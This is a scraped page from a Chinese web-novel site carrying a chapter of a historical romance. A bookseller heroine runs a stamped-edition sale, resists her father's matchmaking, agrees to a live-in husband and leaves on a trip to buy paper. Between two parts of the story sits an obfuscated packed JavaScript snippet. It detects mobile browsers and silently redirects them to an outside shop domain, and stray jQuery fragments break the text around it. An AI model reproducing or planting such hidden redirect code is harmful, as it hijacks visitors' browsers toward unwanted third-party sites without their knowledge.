文趣网 > 其他小说 > 锦衣卫审我风月文上瘾了 > 27.糟了,他入戏了 (六)
    上元节后,鼓楼长街锦绣依旧,车水马龙,人来人往,最热闹的铺子要数余墨阁,门前排起长龙。

    铺子里面,柜台上整齐叠放着《汴京鸳鸯录》。余知微端坐着,执起家传的寿山石印,蘸了朱砂印泥,在封面下方,珍重钤落“余墨阁珍存”。

    朱文篆书,端严古雅,为书提升品味。

    —— 钤印签名。

    相当于现代小说界的亲签,营销造势。

    好奇的路人驻足张望。

    “这儿怎么了?”

    “书坊女掌柜余知微,京城才女正钤印呢!”

    “什么书?”

    “余掌柜去年写的《汴京鸳鸯录》,不过只给先前预定的客官们盖印。”

    “那书之前售罄,都被宫里头的人给买走了!”

    “幸好咱去年预定了,等了三个多月!”

    路过的人群羡慕得紧,也跟着排起队来。

    福伯等人抬出个大茶壶,给排队等候的众人端茶倒水,并趁机吆喝售卖其他书。新年八折优惠,买三送一。

    一位客人从书坊里面兴冲冲地走出来,小心翼翼地捧着书,向路人展示:“瞧瞧这印,多么雅致! 一百五十文钱,贵是贵了些,但值呀!”

    这些钱,能买十来斤猪肉,实属不菲。然,余墨阁刊发并钤印的书,必是精品。此书用较好的松江棉纸印制,封面请苏州画师所绘,内文簪花小楷秀雅工整。

    旁人凑近观摩,赞声一片。

    “建阳余氏,果真名不虚传!”

    “人家可是三百年刻书世家,当然不同寻常。”

    “余娘子有才有貌,又能赚银两,谁若能娶回家,便是走了大运喽!”

    一提余姑娘的婚嫁,人群顿时骚动起来。

    几个婆子挤眉弄眼,年轻公子则偷偷瞄往书坊里头,空气中弥漫着一股急切的热闹。

    二十,正值桃李年华,按理说余姑娘早该出嫁了。

    放在旁人家,已是孩子的娘了。

    这类风言风语自然也传到了余知微耳里。

    她只笑笑,并不理会。卖书挣钱才是要紧事!

    四五百册加印的话本子,不过几天便售罄了。又有一批新客预定,后院作坊里,三娘他们忙着继续刊印,也开始着手雕版张举子校辑完的新书。

    余知微与父亲计划接下来的事务,顺便聊起文创之事。

    “微儿,咱们卖书就行了,何必搞这些?”

    余父是老实匠人,骨子里刻板,不擅生意经,也懒得管。

    “这也需投钱,再说了,咱们余墨阁以经史典籍,时文范本著称……”

    “您在意咱建阳余氏的百年清誉,我也晓得。”余知微循循诱导,“话本子那类,虽卖得好,却撑不起台面。所以咱们搞文创,也连带经史典,这般格调,文人雅士会喜欢。”

    “那钱呢?”

    “王少东家不是想投钱么?我与他说说。”

    余父啧啧摇头:“咱们已欠了他许多银子,还要再借?”

    “此外,谁来做?眼下光是刊印新书,也够咱们忙的了。”

    “爹您别着急啊。”凡是新主意,她总得磨磨嘴皮子,“书签,花笺纸简单,咱们自己也做过。书袋,扇子之类,事前咱们把控下,挑些名言,诗句,选几幅画,具体活儿包出去不就成了?福伯的亲戚就有个小作坊。”

    “您要知道,如今最值钱的是咱们余墨阁这个招牌!”余知微嘴巴说渴了,喝了口水,“但凡东西,印上余墨阁几字,便是保障。趁这东风,多做多卖。”

    当然,还有她余知微的名声。

    余父理论不过,摇了摇头:“我是不大赞成,你先与王公子聊聊吧。”

    “那行。”余知微应道。

    这些也急不得,她只能一步步来。

    窗外日影西斜,不知不觉已近傍晚。

    “余墨阁的女掌柜,余娘子在吗?”有人迈入书坊,声音尖亮。

    余知微抬起头,只见是位中年妇人,红衣绿裙,头戴黑纱罗帽,插着大朵绢花,脸上涂脂抹粉,嘴角点了一颗大黑痣。

    一看行头便知是“说媒的”。

    余知微:“……”

    糟糕,大麻烦来了!

    未等福伯引见,王媒婆已摇着白竹扇,笑盈盈地走到跟前:“我猜,您便是余娘子余知微吧?”

    余知微颔首福礼。王媒婆热络地自报家门,夸说自己撮合了许多良缘,在京城说媒行当里名声极好,末了笑问:“余娘子,令尊在么?”

    “在呢,在呢!”福伯接话,“余老爷刚去里头喝茶歇息,我去唤一声,您稍等。”

    福伯将媒婆请入会客间,满脸堆笑地走了出来。

    “嘿呀姑娘,好事来了!”福伯搓搓手,笑道,“这位王媒婆,我老早听说过,经她撮合的都能得好姻缘!”

    余知微跺了跺脚,压低声音:“您又不是不晓得,我不想嫁人!书坊刚刚好转,我嫁出去了,谁来打理?”

    福伯见她一脸严肃,连忙摆手:“姑娘莫急,莫急。你爹的心意是,招个上门女婿也未尝不可,可以帮你分担。他私底下也同我说了好些遍,咱们都是关心你喏!”

    为何自古女儿家的命数,总绕不开婚嫁两字?

    烦死了!

    连数钱的心思也没了,余知微气闷地走去后院,一头躲进自己屋里。

    思绪犹如脱缰的野马在脑海里横冲直撞,她烦躁不安,怎么也静不下来,索性取出手稿,逼着自己转移注意力,沉浸到故事里。

    故事能改,由她主宰。

    可她的命运呢?是不是也由谁在谱写?

    她翻着那一页页原稿。

    此时再看,之前令她心惊肉跳的红圈圈也不那么刺目了。

    顾大人还在某几页小字批注——

    艳俗。浮夸。不合礼制。

    还有大大的“删”字,写得刚劲挺拔,充盈一股“伟光正”的强大气势,衬得她文益发低俗。

    “噗嗤”她轻轻笑出声来,“顾大人,真是委屈您了。”

    她可以想象到他阅稿时的神情,双眉微蹙,俊脸暗沉。

    眉梢那粒小红痣,也是一跳一跳的吧。

    不过,上元节那场歌舞,面具人真是他么……?

    高冷严峻的顾大人会拉住她的手,在烟花灿烂下跳一场舞?

    这般狗血情景,只有文里才会有。

    不是他,一定不是他……

    余知微一手托腮,一手捏着笔。

    按着顾大人的旨意,措辞改了不少,香艳之处该删的也删的。

    接下来的剧情该怎么写?

    雌竞不能写,雄竞的路子也被他掐断了。

    俗话说,文似看山不喜平,剧情需跌宕起伏,才能扣人心弦。

    对了。

    失忆梗。

    这个好!

    陆将军在战场上受伤昏迷,醒后失忆了,不认得妻子秦氏,先前那些恩怨与别扭,还有刚刚燃起的小火苗……

    “咚咚咚”敲门声打断了她的思路。

    余父站在门外:“微儿,三娘说你还没用膳,身子没有不适吧?爹有些话,咱们边吃边聊?”

    定是关于说媒的事儿。

    余知微脸一沉,赶紧搁下笔,灭了灯。

    “我有点累,刚睡下了。”

    她敷衍道:“爹爹有事明儿再谈吧。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771873|208414||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    能躲一朝是一朝。

    翌日。

    余知微耷拉着脸坐在桌前,聆听父亲循循善诱。

    “昨日王媒婆来说,二十岁谈婚论嫁,年纪还算好。前阵子有位姑娘,父亲是六品官,只因耽搁到二十二岁,寻人家便有些难了,高不成低不就的……”

    余父说着,瞥了她一眼,见她神情恹恹的,像只没吃饱饭的丧气小花猫,宠溺地笑了笑:“不过我家微儿不一样,不出嫁,得守着家业。”

    “我与王媒婆说了,我想招上门女婿。”余父捋须,自个儿琢磨道,“若能有招个读书人,像张举子那样的……”

    “您就别异想天开了!”余知微截了话,“怎么你们各个惦记着张公子?人家是经魁,来年会试必当金榜题名,我可高攀不起。”

    她心里生起一股无名火:“倘若我不想嫁人呢?也不要您招婿。”

    “那可不成!”余父干脆地摆摆手,“我老了,身子又不好,哪一天走了,怎么放心的下你?怎么去见你娘向她交代?!”他别过头去,抬袖拭了拭眼角。

    “哎呀!新年才过呢,您就说这等丧气话,存心气我是么?”余知微瞪了瞪眼,见父亲真的眼眶湿红,还捂着胸腔咳嗽起来,“好了好了,每回您说不过我,就用哭招,还扯上阿娘!”

    她撇了撇嘴,一边替父亲抚着后背顺气:“招婿就招婿,反正早晚的事儿,我也磨不过您。不过,”她顿住手,“至于哪位,能做我余知微的如意郎君,得我自个儿选!”

    “微儿当真同意了?”余父瞬息精神起来,也不哭了,连连点头,“好好好,爹帮你把第一关,接下来你自个儿选,自个儿定!”

    余知微暗恼,嘴上也不饶人:“招亲的事儿您也不必操之过急,下半年再说吧。现下有更要紧的。”

    她转移话题,“咱们库存那些纸墨快用完了,我打算去张家湾码头走一趟,买些便宜的好货回来。”

    张家湾在通州境内,离京城大半日路程,那里商贾云集,属于南北货物集散中心。

    她正好出去透透气。

    一个女子独自出门,自然不方便,福伯跟随照应。

    拾掇好包裹,三日后天晴,余知微租了一辆马车准备上路。三娘早已备好两只大食盒,里面装满了糕点与干粮。

    临走时,张怀瑾也从后院出来,送她到马车旁边。

    得知他们没有备药,张怀瑾从袖中取出一个小布包:“这里有些防晕的药,也有祛风散寒的,你们出门在外,带着安心。”

    余知微怔了下,双手接过:“多谢,我还真忘了,幸亏张公子想得周到。”

    “路上小心。”张怀瑾微微一笑。

    笑容温柔腼腆,像似春日暖阳,总这般令人舒欣。

    余知微垂下眸子:“张公子,书坊也麻烦您帮着我爹照应几日,三日后我便回来。”

    张怀瑾点头:“余姑娘尽管放心。”

    这番对话,倒像与情郎诉别似的。余知微瞥了眼四周,父亲与其他人都站在一旁,似乎有意让她与张公子单独道别。

    她含羞低头,提裙登上马车。

    马车缓缓驶上鼓楼大街,去往宫城东南方向。

    余知微撩起帘子,回头望去。书坊门外,父亲还站在原地,张怀瑾也在。渐渐地,他们的身影越来越远,消失在车水马龙里。

    “张公子倒是个细心人。”福伯的声音在她耳畔响起,“姑娘,倘若招亲之人中,有位像张公子这样的,你可愿意?”

    立春已至。梅花将谢未谢,迎春初开,点点鹅黄正嫩,缀在紫禁城朱红宫墙上,如碎金落于丹霞。

    余知微倚窗凝望,若有所思。

    “或许吧。”